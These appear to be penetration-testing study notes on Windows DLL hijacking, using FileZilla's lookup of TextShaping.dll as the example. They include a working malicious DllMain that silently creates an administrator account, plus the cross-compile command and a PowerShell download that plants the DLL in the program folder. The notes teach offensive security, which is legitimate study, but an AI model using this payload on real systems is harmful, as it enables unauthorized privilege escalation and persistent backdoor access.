DLL Hijacking

Introduction

Dynamic Linked Libraries (DLL) provide functionality to programs or the Windows operating system. DLLs contain code or resources, such as icon files, for other executable files or objects to use. Windows uses DLLs to store functionality needed by several components. Otherwise, each component would need the functionality in their own source code resulting in a huge resource waste. On Unix system these files are called Shared Objects.

Overwriting DLL Files

Hijacking DLL Search Order

The search order is defined by Microsoft and determines what to inspect first when searching for DLLs. By default, all current Windows versions have safe DLL search mode enabled. This was implemented by Microsoft due to the high number of DLL hijacking vectors and ensures that DLLs are more difficult to hijack.

This is the standard search order for DLLs:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

A special case of this method is a missing DLL. This means the binary attempted to load a DLL that doesn't exist on the system. This often occurs with flawed installation processes or after updates. However, even with a missing DLL, the program may still work with restricted functionality.

To exploit this situation, we can try placing a malicious DLL with the name of the missing DLL in a path of the DLL search order so it executed when the binary is started.

Using Process Monitor to Investigate Processes

Unfortunately, we need administrative privileges to start Process Monitor and collect data from it. However, the standard procedure of a penetration test would be to copy the service binary to a local machine and investigate it on the local machine.

Process Monitor Filters

Without any filters, there is too much information in Process Manager to parse. We are only interested in events related to the specific process we are investigated (for this example it will be the filezilla.exe process)

We can create a filter by going to

Filter > Filter...

Then Select Process Name and type the name of the program that you are investigating.

In order to analyze the service binary, we should also try clearing all the current events using the Clear button

In this instance we see that the CreateFile operation looks for the TextShaping.dll file in the program directory FIRST before finding it in the System32 folder. This can be exploited.

Creating a Malicious DLL

Each DLL can have an optional entry point function called DllMain, which is executed when processes or threads attach the DLL. This function generally contains for courses named DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH

These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources.

Here is a code example from Microsoft outlining a basic C++ DLL containing these 4 cases. The DLL contains the entry point function DLLMain and the the previously mentioned cases in a switch statement. Depending on the value of ul_reason_for_call one of these cases gets executed. As of now, all cases only use a break statement

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Microsoft states that DLL_PROCESS_ATTACH is used when a process is loading the DLL. Since the target binary process in our example tries to load the DLL, this is the case we need to add our code to.

Example payload:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Now we cross-compile the DLL using the --shared attribute to denote we are compiling a DLL:

x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll

and load it onto our target machine

PS C:\Users\steve> iwr -uri http://192.168.48.3/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'